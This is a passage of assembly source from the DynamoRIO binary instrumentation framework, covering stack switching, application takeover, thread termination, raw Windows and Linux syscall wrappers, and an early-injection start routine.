REG_XDI) mov REG_XAX, REG_XBX cmp BYTE [5*ARG_SZ + REG_XAX], 0 /* return_on_return */ je GLOBAL_REF(unexpected_return) pop IF_X64_ELSE(r12, REG_XDI) pop REG_XBX #ifdef X64 # ifdef WINDOWS mov REG_XSP, REG_XAX # else lea REG_XSP, [5*ARG_SZ + REG_XSP] # endif #else mov REG_XSP, REG_XAX #endif ret END_FUNC(call_switch_stack) #ifdef CLIENT_INTERFACE /* * Calls the specified function 'func' after switching to the DR stack * for the thread corresponding to 'drcontext'. * Passes in 8 arguments. Uses the C calling convention, so 'func' will work * just fine even if if takes fewer than 8 args. * Swaps the stack back upon return and returns the value returned by 'func'. * * void * dr_call_on_clean_stack(void *drcontext, // 1*ARG_SZ+XAX * void *(*func)(arg1...arg8), // 2*ARG_SZ+XAX * void *arg1, // 3*ARG_SZ+XAX * void *arg2, // 4*ARG_SZ+XAX * void *arg3, // 5*ARG_SZ+XAX * void *arg4, // 6*ARG_SZ+XAX * void *arg5, // 7*ARG_SZ+XAX * void *arg6, // 8*ARG_SZ+XAX * void *arg7, // 9*ARG_SZ+XAX * void *arg8) //10*ARG_SZ+XAX */ DECLARE_EXPORTED_FUNC(dr_call_on_clean_stack) GLOBAL_LABEL(dr_call_on_clean_stack:) /* avoid colliding with ARG* in either scratch reg */ # ifdef X64 # define SCRATCH1 r10 # define SCRATCH2 r11 # else # define SCRATCH1 edx # define SCRATCH2 ecx # endif /* get all args with same offset(xax) regardless of plaform */ # ifdef X64 # ifdef WINDOWS mov REG_XAX, REG_XSP /* stack alignment doesn't really matter (b/c we're swapping) but in case * we add a call we keep this here */ lea REG_XSP, [-ARG_SZ + REG_XSP] /* maintain align-16: offset retaddr */ # else /* no padding so we make our own space. odd #slots keeps align-16 w/ retaddr */ lea REG_XSP, [-5*ARG_SZ + REG_XSP] /* xax points one beyond TOS to get same offset as having retaddr there */ lea REG_XAX, [-ARG_SZ + REG_XSP] /* save the retaddr */ mov SCRATCH1, [6*ARG_SZ + REG_XAX] mov [5*ARG_SZ + REG_XAX], ARG5 mov [6*ARG_SZ + REG_XAX], ARG6 # endif mov [1*ARG_SZ + REG_XAX], ARG1 mov [2*ARG_SZ + REG_XAX], ARG2 mov [3*ARG_SZ + REG_XAX], ARG3 mov [4*ARG_SZ + REG_XAX], ARG4 # else /* Stack alignment doesn't matter b/c we're swapping. */ mov REG_XAX, REG_XSP # endif # if defined(X64) && !defined(WINDOWS) push SCRATCH1 /* retaddr */ # endif /* we need a callee-saved reg across our call so save it onto stack */ push REG_XBX push REG_XBP /* alignment doesn't matter: swapping stacks */ # ifdef WINDOWS /* DrMi#1676: we have to preserve the app's TEB stack fields. * DrMi#1723: we no longer swap StackLimit == BASE_STACK_TIB_OFFSET. * See SWAP_TEB_STACKLIMIT(). */ push REG_XSI mov REG_XSI, SEG_TLS:[TOP_STACK_TIB_OFFSET] # endif mov REG_XBX, REG_XAX mov REG_XBP, REG_XSP /* set up for call */ mov SCRATCH1, [2*ARG_SZ + REG_XAX] /* func */ mov SCRATCH2, [1*ARG_SZ + REG_XAX] /* drcontext */ RESTORE_FROM_DCONTEXT_VIA_REG(SCRATCH2, dstack_OFFSET, REG_XSP) # ifdef WINDOWS /* DrMem i#1676: update TEB stack top field for Win8.1. */ mov SEG_TLS:[TOP_STACK_TIB_OFFSET], REG_XSP # endif STACK_PAD_NOPUSH(8, 4, 0) mov SCRATCH2, [10*ARG_SZ + REG_XAX] mov ARG8_NORETADDR, SCRATCH2 mov SCRATCH2, [9*ARG_SZ + REG_XAX] mov ARG7_NORETADDR, SCRATCH2 mov SCRATCH2, [8*ARG_SZ + REG_XAX] mov ARG6_NORETADDR, SCRATCH2 mov SCRATCH2, [7*ARG_SZ + REG_XAX] mov ARG5_NORETADDR, SCRATCH2 mov SCRATCH2, [6*ARG_SZ + REG_XAX] mov ARG4_NORETADDR, SCRATCH2 mov SCRATCH2, [5*ARG_SZ + REG_XAX] mov ARG3_NORETADDR, SCRATCH2 mov SCRATCH2, [4*ARG_SZ + REG_XAX] mov ARG2_NORETADDR, SCRATCH2 mov SCRATCH2, [3*ARG_SZ + REG_XAX] mov ARG1_NORETADDR, SCRATCH2 call SCRATCH1 /* preserve return value in xax */ STACK_UNPAD(8, 4, 0) mov REG_XSP, REG_XBP mov REG_XCX, REG_XBX # ifdef WINDOWS /* DrMem i#1676: we have to preserve the app's TEB stack fields */ mov SEG_TLS:[TOP_STACK_TIB_OFFSET], REG_XSI pop REG_XSI # endif pop REG_XBP pop REG_XBX # ifdef X64 # ifdef WINDOWS mov REG_XSP, REG_XCX # else pop SCRATCH1 /* retaddr */ lea REG_XSP, [5*ARG_SZ + REG_XSP] mov PTRSZ [REG_XSP], SCRATCH1 /* retaddr */ # endif # else mov REG_XSP, REG_XCX # endif ret END_FUNC(dr_call_on_clean_stack) #endif /* CLIENT_INTERFACE */ /* * Copies from the current xsp to tos onto the base of stack and then * swaps to the cloned top of stack. * * void clone_and_swap_stack(byte *stack, byte *tos) */ DECLARE_FUNC(clone_and_swap_stack) GLOBAL_LABEL(clone_and_swap_stack:) mov REG_XAX, ARG1 mov REG_XCX, ARG2 mov REG_XDX, REG_XSP /* save not-always-caller-saved regs */ push REG_XSI push REG_XDI /* memcpy(stack - sz, cur_esp, sz) */ sub REG_XCX, REG_XDX /* sz = tos - cur_esp */ mov REG_XSI, REG_XDX /* source = tos */ mov REG_XDI, REG_XAX /* dest = stack - sz */ sub REG_XDI, REG_XCX sub REG_XAX, REG_XCX /* before lose sz, calculate tos on stack */ /* cld from signal handler for app signal should be ok */ cld rep movsb /* restore and swap to cloned stack */ pop REG_XDI pop REG_XSI mov REG_XSP, REG_XAX ret END_FUNC(clone_and_swap_stack) /* * dr_app_start - Causes application to run under Dynamo control */ #ifdef DR_APP_EXPORTS DECLARE_EXPORTED_FUNC(dr_app_start) GLOBAL_LABEL(dr_app_start:) ADD_STACK_ALIGNMENT_NOSEH /* grab exec state and pass as param in a priv_mcontext_t struct */ PUSH_PRIV_MCXT(PTRSZ [FRAME_ALIGNMENT - ARG_SZ + REG_XSP -\ PUSH_PRIV_MCXT_PRE_PC_SHIFT]) /* return address as pc */ /* do the rest in C */ lea REG_XAX, [REG_XSP] /* stack grew down, so priv_mcontext_t at tos */ CALLC1(GLOBAL_REF(dr_app_start_helper), REG_XAX) /* If we come back, then DR is not taking control so clean up stack and return. */ add REG_XSP, PRIV_MCXT_SIZE + FRAME_ALIGNMENT - ARG_SZ ret END_FUNC(dr_app_start) /* * dr_app_take_over - For the client interface, we'll export 'dr_app_take_over' * for consistency with the dr_ naming convention of all exported functions. * We'll keep 'dynamorio_app_take_over' for compatibility with the preinjector. */ DECLARE_EXPORTED_FUNC(dr_app_take_over) GLOBAL_LABEL(dr_app_take_over: ) jmp GLOBAL_REF(dynamorio_app_take_over) END_FUNC(dr_app_take_over) /* dr_app_running_under_dynamorio - Indicates whether the current thread * is running within the DynamoRIO code cache. * Returns false (not under dynamorio) by default. * The function is mangled by dynamorio to return true instead when * it is brought into the code cache. */ DECLARE_EXPORTED_FUNC(dr_app_running_under_dynamorio) GLOBAL_LABEL(dr_app_running_under_dynamorio: ) mov eax, 0 ret END_FUNC(dr_app_running_under_dynamorio) #endif /* * dynamorio_app_take_over - Causes application to run under Dynamo * control. Dynamo never releases control. */ DECLARE_EXPORTED_FUNC(dynamorio_app_take_over) GLOBAL_LABEL(dynamorio_app_take_over:) ADD_STACK_ALIGNMENT_NOSEH /* grab exec state and pass as param in a priv_mcontext_t struct */ PUSH_PRIV_MCXT(PTRSZ [FRAME_ALIGNMENT - ARG_SZ + REG_XSP -\ PUSH_PRIV_MCXT_PRE_PC_SHIFT]) /* return address as pc */ /* do the rest in C */ lea REG_XAX, [REG_XSP] /* stack grew down, so priv_mcontext_t at tos */ CALLC1(GLOBAL_REF(dynamorio_app_take_over_helper), REG_XAX) /* If we come back, then DR is not taking control so clean up stack and return. */ add REG_XSP, PRIV_MCXT_SIZE + FRAME_ALIGNMENT - ARG_SZ ret END_FUNC(dynamorio_app_take_over) /* * cleanup_and_terminate(dcontext_t *dcontext, // 1*ARG_SZ+XBP * int sysnum, // 2*ARG_SZ+XBP = syscall # * int sys_arg1/param_base, // 3*ARG_SZ+XBP = arg1 for syscall * int sys_arg2, // 4*ARG_SZ+XBP = arg2 for syscall * bool exitproc, // 5*ARG_SZ+XBP * (these 2 args are only used for Mac thread exit:) * int sys_arg3, // 6*ARG_SZ+XBP = arg3 for syscall * int sys_arg4) // 7*ARG_SZ+XBP = arg4 for syscall * * See decl in arch_exports.h for description. * * Note that this routine does not return and thus clobbers callee-saved regs. */ DECLARE_FUNC(cleanup_and_terminate) GLOBAL_LABEL(cleanup_and_terminate:) /* get all args with same offset(xbp) regardless of plaform, to save * across our calls. */ #ifdef X64 # ifdef WINDOWS mov REG_XBP, REG_XSP lea REG_XSP, [-ARG_SZ + REG_XSP] /* maintain align-16: offset retaddr */ # else /* no padding so we make our own space. odd #slots keeps align-16 w/ retaddr */ lea REG_XSP, [-5*ARG_SZ + REG_XSP] /* xbp points one beyond TOS to get same offset as having retaddr there */ lea REG_XBP, [-ARG_SZ + REG_XSP] mov [5*ARG_SZ + REG_XBP], ARG5 mov [6*ARG_SZ + REG_XBP], ARG6 mov REG_XAX, ARG7 mov [7*ARG_SZ + REG_XBP], REG_XAX # endif mov [1*ARG_SZ + REG_XBP], ARG1 mov [2*ARG_SZ + REG_XBP], ARG2 mov [3*ARG_SZ + REG_XBP], ARG3 mov [4*ARG_SZ + REG_XBP], ARG4 #else mov REG_XBP, REG_XSP # if defined(MACOS) && !defined(X64) lea REG_XSP, [-3*ARG_SZ + REG_XSP] /* maintain align-16: offset retaddr */ # endif #endif /* increment exiting_thread_count so that we don't get killed after * thread_exit removes us from the all_threads list */ #if !defined(X64) && defined(LINUX) /* PR 212290: avoid text relocations: get PIC base into callee-saved xdi. * Can't use CALLC0 since it inserts a nop: we need the exact retaddr. */ call get_pic_xdi lea REG_XDI, [_GLOBAL_OFFSET_TABLE_ + REG_XDI] lea REG_XAX, VAR_VIA_GOT(REG_XDI, GLOBAL_REF(exiting_thread_count)) lock inc DWORD [REG_XAX] #else lock inc DWORD SYMREF(exiting_thread_count) /* rip-rel for x64 */ #endif /* save dcontext->dstack for freeing later and set dcontext->is_exiting */ /* xbx is callee-saved and not an x64 param so we can use it */ mov REG_XBX, PTRSZ [1*ARG_SZ + REG_XBP] /* dcontext */ SAVE_TO_DCONTEXT_VIA_REG(REG_XBX,is_exiting_OFFSET,1) CALLC1(GLOBAL_REF(is_currently_on_dstack), REG_XBX) /* xbx is callee-saved */ cmp al, 0 jnz cat_save_dstack mov REG_XBX, 0 /* save 0 for dstack to avoid double-free */ jmp cat_done_saving_dstack cat_save_dstack: RESTORE_FROM_DCONTEXT_VIA_REG(REG_XBX,dstack_OFFSET,REG_XBX) cat_done_saving_dstack: /* PR 306421: xbx is callee-saved for all platforms, so don't push yet, * to maintain 16-byte stack alignment */ /* avoid sygate sysenter version as our stack may be static const at * that point, caller will take care of sygate hack */ CALLC0(GLOBAL_REF(get_cleanup_and_terminate_global_do_syscall_entry)) #if defined(MACOS) && !defined(X64) lea REG_XSP, [-2*ARG_SZ + REG_XSP] /* maintain align-16 w/ 2 pushes below */ #endif push REG_XBX /* 16-byte aligned again */ push REG_XAX /* upper bytes are 0xab so only look at lower bytes */ movzx esi, BYTE [5*ARG_SZ + REG_XBP] /* exitproc */ cmp esi, 0 jz cat_thread_only CALLC0(GLOBAL_REF(dynamo_process_exit)) jmp cat_no_thread cat_thread_only: CALLC0(GLOBAL_REF(dynamo_thread_exit)) cat_no_thread: /* now switch to d_r_initstack for cleanup of dstack * could use d_r_initstack for whole thing but that's too long * of a time to hold global initstack_mutex */ mov ecx, 1 #if !defined(X64) && defined(LINUX) /* PIC base is still in xdi */ lea REG_XAX, VAR_VIA_GOT(REG_XDI, GLOBAL_REF(initstack_mutex)) #endif cat_spin: #if !defined(X64) && defined(LINUX) xchg DWORD [REG_XAX], ecx #else xchg DWORD SYMREF(initstack_mutex), ecx /* rip-relative on x64 */ #endif jecxz cat_have_lock /* try again -- too few free regs to call sleep() */ pause /* good thing gas now knows about pause */ jmp cat_spin cat_have_lock: /* need to grab everything off dstack first */ #ifdef WINDOWS /* PR 601533: the wow64 syscall writes to the stack b/c it * makes a call, so we have a race that can lead to a hang or * worse. we do not expect the syscall to return, so we can * use a global single-entry stack (the wow64 layer swaps to a * different stack: presumably for alignment and other reasons). */ CALLC1(GLOBAL_REF(os_terminate_wow64_stack), -1/*INVALID_HANDLE_VALUE*/) mov REG_XDI, REG_XAX /* esp to use */ #endif mov REG_XSI, [2*ARG_SZ + REG_XBP] /* sysnum */ pop REG_XAX /* syscall */ pop REG_XCX /* dstack */ #if defined(MACOS) && !defined(X64) lea REG_XSP, [2*ARG_SZ + REG_XSP] /* undo align-16 lea from above */ #endif mov REG_XBX, REG_XBP /* save for arg access after swapping stacks */ /* swap stacks */ #if !defined(X64) && defined(LINUX) /* PIC base is still in xdi */ lea REG_XBP, VAR_VIA_GOT(REG_XDI, GLOBAL_REF(d_r_initstack)) mov REG_XSP, PTRSZ [REG_XBP] #else mov REG_XSP, PTRSZ SYMREF(d_r_initstack) /* rip-relative on x64 */ #endif /* now save registers */ #if defined(MACOS) && !defined(X64) cmp BYTE [5*ARG_SZ + REG_XBX], 0 /* exitproc */ jz cat_thread_only2 /* ensure aligned after 1st 2 arg pushes below, which are the syscall args */ lea REG_XSP, [-2*ARG_SZ + REG_XSP] jmp cat_no_thread2 cat_thread_only2: /* for thread, the 4 pushes make it aligned */ push PTRSZ [7*ARG_SZ + REG_XBX] /* sys_arg4 */ push PTRSZ [6*ARG_SZ + REG_XBX] /* sys_arg3 */ cat_no_thread2: #endif #ifdef WINDOWS push REG_XDI /* esp to use */ #endif push PTRSZ [4*ARG_SZ + REG_XBX] /* sys_arg2 */ push PTRSZ [3*ARG_SZ + REG_XBX] /* sys_arg1 */ push REG_XAX /* syscall */ push REG_XSI /* sysnum => xsp 16-byte aligned for x64 and x86 */ #if defined(MACOS) && !defined(X64) lea REG_XSP, [-2*ARG_SZ + REG_XSP] /* align to 16 for this call */ #endif /* free dstack and call the EXIT_DR_HOOK */ CALLC1(GLOBAL_REF(dynamo_thread_stack_free_and_exit), REG_XCX) /* pass dstack */ #if defined(MACOS) && !defined(X64) lea REG_XSP, [2*ARG_SZ + REG_XSP] /* undo align to 16 */ #endif /* finally, execute the termination syscall */ pop REG_XAX /* sysnum */ #ifdef X64 /* We assume we're doing "syscall" on Windows & Linux, where r10 is dead */ pop r10 /* syscall, in reg dead at syscall */ # ifdef UNIX pop REG_XDI /* sys_arg1 */ pop REG_XSI /* sys_arg2 */ # else pop REG_XCX /* sys_arg1 */ pop REG_XDX /* sys_arg2 */ # endif #else pop REG_XSI /* syscall */ # ifdef MACOS /* Leave the args on the stack for 32-bit Mac. We actually need another * slot before the 1st arg (usually the retaddr for app syscall). * This ends up with stack alignment of 0xc, which is what we want. */ push 0 # elif defined(LINUX) pop REG_XBX /* sys_arg1 */ pop REG_XCX /* sys_arg2 */ # else pop REG_XDX /* sys_arg1 == param_base */ pop REG_XCX /* sys_arg2 (unused) */ # endif #endif #ifdef WINDOWS pop REG_XSP /* get the stack pointer we pushed earlier */ #endif /* Give up initstack_mutex -- potential problem here with a thread getting * an asynch event that then uses d_r_initstack, but syscall should only care * about ebx and edx. */ #if !defined(X64) && defined(LINUX) /* PIC base is still in xdi */ lea REG_XBP, VAR_VIA_GOT(REG_XDI, initstack_mutex) mov DWORD [REG_XBP], 0 #else mov DWORD SYMREF(initstack_mutex), 0 /* rip-relative on x64 */ #endif /* we are finished with all shared resources, decrement the * exiting_thread_count (allows another thread to kill us) */ #if !defined(X64) && defined(LINUX) /* PIC base is still in xdi */ lea REG_XBP, VAR_VIA_GOT(REG_XDI, GLOBAL_REF(exiting_thread_count)) lock dec DWORD [REG_XBP] #else lock dec DWORD SYMREF(exiting_thread_count) /* rip-rel on x64 */ #endif #ifdef X64 jmp r10 /* go do the syscall! */ #else jmp REG_XSI /* go do the syscall! */ #endif END_FUNC(cleanup_and_terminate) /* global_do_syscall_int * Caller is responsible for all set up. For windows this means putting the * syscall num in eax and putting the args at edx. For linux this means putting * the syscall num in eax, and the args in ebx, ecx, edx, esi, edi and ebp (in * that order, as needed). global_do_syscall is only used with system calls * that we don't expect to return, so for debug builds we go into an infinite * loop if syscall returns. */ DECLARE_FUNC(global_do_syscall_int) GLOBAL_LABEL(global_do_syscall_int:) #ifdef WINDOWS int HEX(2e) #else /* XXX: if we need to make any Mach syscalls for MacOS here, we'll * need a sysenter version, as the kernel throws SIGSYS when using int. */ int HEX(80) #endif #ifdef DEBUG jmp GLOBAL_REF(debug_infinite_loop) #endif #ifdef UNIX /* we do come here for SYS_kill which can fail: try again via exit_group */ jmp GLOBAL_REF(dynamorio_sys_exit_group) #endif END_FUNC(global_do_syscall_int) /* For sygate hack need to indirect the system call through ntdll. */ #ifdef WINDOWS DECLARE_FUNC(global_do_syscall_sygate_int) GLOBAL_LABEL(global_do_syscall_sygate_int:) /* would be nicer to call so we could return to debug_infinite_loop on * failure, but on some paths (cleanup_and_terminate) we can no longer * safetly use the stack */ jmp PTRSZ SYMREF(int_syscall_address) END_FUNC(global_do_syscall_sygate_int) #endif /* global_do_syscall_sysenter * Caller is responsible for all set up, this means putting the syscall num * in eax and putting the args at edx+8 (windows specific, we don't yet support * linux sysenter). global_do_syscall is only used with system calls that we * don't expect to return. As edx becomes esp, if the syscall does return it * will go to the address in [edx] (again windows specific) (if any debugging * code is desired should be pointed to there, do note that edx will become esp * so be aware of stack limitations/protections). */ DECLARE_FUNC(global_do_syscall_sysenter) GLOBAL_LABEL(global_do_syscall_sysenter:) RAW(0f) RAW(34) /* sysenter */ #ifdef DEBUG /* We'll never ever reach here, sysenter won't/can't return to this * address since it doesn't know it, but we'll put in a jmp to * debug_infinite_loop just in case */ jmp GLOBAL_REF(debug_infinite_loop) #endif END_FUNC(global_do_syscall_sysenter) /* Sygate case 5441 hack - the return address (edx) needs to point to * ntdll to pass their verification. Global_do_syscall is really only * used with system calls that aren't expected to return so we don't * have to be too careful. Just shuffle the stack using the sysret addr. * If there is already a return address we'll keep that (just move down * a slot). */ #ifdef WINDOWS DECLARE_FUNC(global_do_syscall_sygate_sysenter) GLOBAL_LABEL(global_do_syscall_sygate_sysenter:) mov REG_XSP, REG_XDX /* move existing ret down a slot (note target address is * computed with already inc'ed esp [see intel docs]) */ pop PTRSZ [REG_XSP] push PTRSZ SYMREF(sysenter_ret_address) #if defined(X64) && defined(WINDOWS) syscall /* FIXME ml64 won't take "sysenter" so half-fixing now */ #else sysenter #endif #ifdef DEBUG /* We'll never ever reach here, sysenter won't/can't return to this * address since it doesn't know it, but we'll put in a jmp to * debug_infinite_loop just in case */ jmp GLOBAL_REF(debug_infinite_loop) #endif END_FUNC(global_do_syscall_sygate_sysenter) #endif /* Both Windows and Linux put rcx into r10 since rcx is used as the return addr */ #ifdef X64 /* global_do_syscall_syscall * Caller is responsible for all set up: putting the syscall num in eax * and the args in registers/memory. Only used with system calls * that we don't expect to return, so for debug builds we go into an infinite * loop if syscall returns. */ DECLARE_FUNC(global_do_syscall_syscall) GLOBAL_LABEL(global_do_syscall_syscall:) mov r10, REG_XCX syscall # ifdef DEBUG jmp GLOBAL_REF(debug_infinite_loop) # endif # ifdef UNIX /* we do come here for SYS_kill which can fail: try again via exit_group */ jmp GLOBAL_REF(dynamorio_sys_exit_group) # endif END_FUNC(global_do_syscall_syscall) #endif #ifdef WINDOWS /* global_do_syscall_wow64 * Xref case 3922 * Caller is responsible for all set up: putting the syscall num in eax, * the wow64 index into ecx, and the args in edx. Only used with system calls * that we don't expect to return, so for debug builds we go into an infinite * loop if syscall returns. */ DECLARE_FUNC(global_do_syscall_wow64) GLOBAL_LABEL(global_do_syscall_wow64:) call PTRSZ SEGMEM(fs,HEX(0c0)) #ifdef DEBUG jmp GLOBAL_REF(debug_infinite_loop) #endif END_FUNC(global_do_syscall_wow64) /* global_do_syscall_wow64_index0 * Sames as global_do_syscall_wow64, except zeros out ecx. */ DECLARE_FUNC(global_do_syscall_wow64_index0) GLOBAL_LABEL(global_do_syscall_wow64_index0:) xor ecx, ecx call PTRSZ SEGMEM(fs,HEX(0c0)) #ifdef DEBUG jmp GLOBAL_REF(debug_infinite_loop) #endif END_FUNC(global_do_syscall_wow64_index0) #endif /* WINDOWS */ #ifdef DEBUG /* Just an infinite CPU eating loop used to mark certain failures. */ DECLARE_FUNC(debug_infinite_loop) GLOBAL_LABEL(debug_infinite_loop:) jmp GLOBAL_REF(debug_infinite_loop) END_FUNC(debug_infinite_loop) #endif #ifdef WINDOWS /* We use our own syscall wrapper for key win32 system calls. * * We would use a dynamically generated routine created by decoding * a real ntdll wrapper and tweaking it, but we need to use * this for our own syscalls and have a bootstrapping problem -- so * rather than hacking to get the power to decode w/o a heap, we hardcode * the types we support here. * * We assume that all syscall wrappers are identical, and they have * specific instruction sequences -- thus this routine needs to be updated * with any syscall sequence change in a future version of ntdll.dll! * * We construct our own minimalist versions that use C calling convention * and take as a first argument the system call number: * * ref case 5217, for Sygate compatibility the int needs to come from * ntdll.dll, we use a call to NtYieldExecution+9 (int 2e; ret;) * * 1) mov immed, eax mov 4(esp), eax * lea 4(esp), edx ==> lea 8(esp), edx * int 2e int 2e * ret 4*numargs ret * * 2) mov immed, eax mov 4(esp), eax * mov 0x7ffe0300, edx mov esp, edx * call {edx,(edx)} < juggle stack, see below > * NOTE - to support the sygate case 5441 hack the actual instructions * - we use are different, but the end up doing the same thing * callee: ==> sysenter * mov esp, edx our_ret: * sysenter ret * ret * ret 4*numargs * * => signature: dynamorio_syscall_{int2e,sysenter}(sysnum, arg1, arg2, ...) */ DECLARE_FUNC(dynamorio_syscall_int2e) GLOBAL_LABEL(dynamorio_syscall_int2e:) mov eax, [4 + esp] lea edx, [8 + esp] int HEX(2e) ret END_FUNC(dynamorio_syscall_int2e) DECLARE_FUNC(dynamorio_syscall_sygate_int2e) GLOBAL_LABEL(dynamorio_syscall_sygate_int2e:) mov eax, [4 + esp] lea edx, [8 + esp] call PTRSZ SYMREF(int_syscall_address) ret END_FUNC(dynamorio_syscall_sygate_int2e) DECLARE_FUNC(dynamorio_syscall_sysenter) GLOBAL_LABEL(dynamorio_syscall_sysenter:) /* esp + 0 return address * 4 syscall num * 8+ syscall args * Ref case 5461 edx serves as both the argument pointer (edx+8) and the * top of stack for the kernel sysexit. */ mov eax, [4 + esp] mov REG_XDX, REG_XSP #if defined(X64) && defined(WINDOWS) syscall /* FIXME ml64 won't take "sysenter" so half-fixing now */ #else sysenter #endif /* Kernel sends control to hardcoded location, which does ret, * which will return directly back to the caller. Thus the following * ret will never execute. */ ret END_FUNC(dynamorio_syscall_sysenter) DECLARE_GLOBAL(dynamorio_mach_syscall_fixup) DECLARE_FUNC(dynamorio_syscall_sygate_sysenter) GLOBAL_LABEL(dynamorio_syscall_sygate_sysenter:) /* stack looks like: * esp + 0 return address * 4 syscall num * 8+ syscall args * Ref case 5461 edx serves as both the argument pointer (edx+8) and the * top of stack for the kernel sysexit. While we could do nothing and * just have the sysenter return straight back to the caller, we use * sysenter_ret_address indirection to support the Sygate compatibility * fix for case 5441 where steal a ret from ntdll.dll so need to mangle * our stack to look like * esp + 0 sysenter_ret_address * 4 dynamorio_mach_syscall_fixup * 8+ syscall args * sysenter_tls_slot return address * before we do the edx <- esp * * NOTE - we can NOT just have * esp + 0 sysenter_ret_address * 4 return address * 8 args * as even though this will go the right place, the stack will be one * off on the return (debug builds with frame ptr are ok, but not * release). We could roll our own custom calling convention for this * but would be a pain given how this function is called. So we use a * tls slot to store the return address around the system call since * there isn't room on the stack, thus is not re-entrant, but neither is * dr and we don't make alertable system calls. An alternate scheme * kept the return address off the top of the stack which works fine * (nothing alertable), but just seemed too risky. * FIXME - any perf impact from breaking hardware return predictor */ pop REG_XDX mov eax, DWORD SYMREF(sysenter_tls_offset) mov SEGMEM(fs,eax), edx pop REG_XAX #ifdef X64 /* Can't push a 64-bit immed */ mov REG_XCX, dynamorio_mach_syscall_fixup push REG_XCX #else push dynamorio_mach_syscall_fixup #endif push PTRSZ SYMREF(sysenter_ret_address) mov REG_XDX, REG_XSP #if defined(X64) && defined(WINDOWS) syscall /* FIXME ml64 won't take "sysenter" so half-fixing now */ #else sysenter #endif ADDRTAKEN_LABEL(dynamorio_mach_syscall_fixup:) /* push whatever (was the slot for the eax arg) */ push REG_XAX /* ecx/edx should be dead here, just borrow one */ mov edx, DWORD SYMREF(sysenter_tls_offset) push PTRSZ SEGMEM(fs,edx) ret END_FUNC(dynamorio_syscall_sygate_sysenter) # ifdef X64 /* With the 1st 4 args in registers, we don't want the sysnum to shift them * all as it's not easy to un-shift. So, we put the 1st arg last, and * the SYS enum value first. We use the syscall_argsz array to restore * the 1st arg. Since the return value is never larger than 64 bits, we * never have to worry about a hidden 1st arg that shifts the rest. */ DECLARE_FUNC(dynamorio_syscall_syscall) GLOBAL_LABEL(dynamorio_syscall_syscall:) mov rax, QWORD SYMREF(syscalls) /* the upper 32 bits are automatically zeroed */ mov eax, DWORD [rax + ARG1*4] /* sysnum in rax */ mov r10, syscall_argsz /* the upper 32 bits are automatically zeroed */ mov r10d, DWORD [r10 + ARG1*4] /* # args in r10 */ cmp r10, 0 je dynamorio_syscall_syscall_ready cmp r10, 1 je dynamorio_syscall_syscall_1arg cmp r10, 2 je dynamorio_syscall_syscall_2arg cmp r10, 3 je dynamorio_syscall_syscall_3arg /* else, >= 4 args, so pull from arg slot of (#args + 1) */ mov ARG1, QWORD [rsp + r10*8 + 8] jmp dynamorio_syscall_syscall_ready dynamorio_syscall_syscall_1arg: mov ARG1, ARG2 jmp dynamorio_syscall_syscall_ready dynamorio_syscall_syscall_2arg: mov ARG1, ARG3 jmp dynamorio_syscall_syscall_ready dynamorio_syscall_syscall_3arg: mov ARG1, ARG4 /* fall-through */ dynamorio_syscall_syscall_ready: mov r10, rcx /* put rcx in r10 just like Nt wrappers (syscall writes rcx) */ syscall ret END_FUNC(dynamorio_syscall_syscall) # endif /* For WOW64 (case 3922) the syscall wrappers call *teb->WOW32Reserved (== * wow64cpu!X86SwitchTo64BitMode), which is a far jmp that switches to the * 64-bit cs segment (0x33 selector). They pass in ecx an index into * a function table of argument conversion routines. * * 3) mov sysnum, eax * mov tableidx, ecx * call *fs:0xc0 * callee: * jmp 0x33:wow64cpu!CpupReturnFromSimulatedCode * ret 4*numargs * * rather than taking in sysnum and tableidx, we take in sys_enum and * look up the sysnum and tableidx to keep the same args as the other * dynamorio_syscall_* routines * => signature: dynamorio_syscall_wow64(sys_enum, arg1, arg2, ...) */ DECLARE_FUNC(dynamorio_syscall_wow64) GLOBAL_LABEL(dynamorio_syscall_wow64:) mov eax, [4 + esp] mov edx, DWORD SYMREF(wow64_index) mov ecx, [edx + eax*4] mov edx, DWORD SYMREF(syscalls) mov eax, [edx + eax*4] lea edx, [8 + esp] call PTRSZ SEGMEM(fs,HEX(0c0)) ret END_FUNC(dynamorio_syscall_wow64) /* Win8 has no index and furthermore requires the stack to be set * up (i.e., we can't just point edx where we want it). * Thus, we must shift the retaddr one slot down on top of sys_enum. * => signature: dynamorio_syscall_wow64_noedx(sys_enum, arg1, arg2, ...) */ DECLARE_FUNC(dynamorio_syscall_wow64_noedx) GLOBAL_LABEL(dynamorio_syscall_wow64_noedx:) mov eax, [4 + esp] mov ecx, DWORD SYMREF(syscalls) mov eax, [ecx + eax*4] mov ecx, [esp] mov [esp + 4], ecx lea esp, [esp + 4] call PTRSZ SEGMEM(fs,HEX(0c0)) /* we have to restore the stack shift of course (i#1036) */ mov ecx, [esp] mov [esp - 4], ecx lea esp, [esp - 4] ret END_FUNC(dynamorio_syscall_wow64_noedx) #endif /* WINDOWS */ #ifdef UNIX /* FIXME: this function should be in #ifdef CLIENT_INTERFACE * However, the compiler complains about it in * vps-debug-internal-32 build, so we remove the ifdef now. */ /* i#555: to avoid client use app's vsyscall, we enforce all clients * use int 0x80 for system call. */ DECLARE_FUNC(client_int_syscall) GLOBAL_LABEL(client_int_syscall:) int HEX(80) ret END_FUNC(client_int_syscall) #endif /* UNIX */ #ifdef UNIX #ifdef LINUX /* XXX i#1285: implement MacOS private loader + injector */ #if !defined(STANDALONE_UNIT_TEST) && !defined(STATIC_LIBRARY) /* i#47: Early injection _start routine. The kernel sets all registers to zero * except the SP and PC. The stack has argc, argv[], envp[], and the auxiliary * vector laid out on it. * If we reload ourselves (i#1227) we'll set xdi and xsi to the base and size * of the old library that needs to be unmapped. */ DECLARE_FUNC(_start) GLOBAL_LABEL(_start:) /* i#1676, i#1708: relocate dynamorio if it is not loaded to preferred address. * We call this here to ensure it's safe to access globals once in C code * (xref i#1865). */ cmp REG_XDI, 0 /* if reloaded, skip for speed + preserve xdi and xsi */ jne reloaded_xfer mov REG_XAX, REG_XSP /* The CALLC3 may change xsp so grab it first. */ CALLC3(GLOBAL_REF(relocate_dynamorio), 0, 0, REG_XAX) mov REG_XDI, 0 /* xdi should be callee-saved but is not always: i#2641 */ reloaded_xfer: xor REG_XBP, REG_XBP /* Terminate stack traces at NULL. */ # ifdef X64 /* Reverse order to avoid clobbering */ mov ARG3, REG_XSI mov ARG2, REG_XDI mov ARG1, REG_XSP # else mov REG_XAX, REG_XSP /* We maintain 16-byte alignment not just for MacOS but also for * the new Linux ABI. Xref DrMi#1899 and i#847. */ lea REG_XSP, [-ARG_SZ + REG_XSP] push REG_XSI push REG_XDI push REG_XAX # endif CALLC0(GLOBAL_REF(privload_early_inject)) 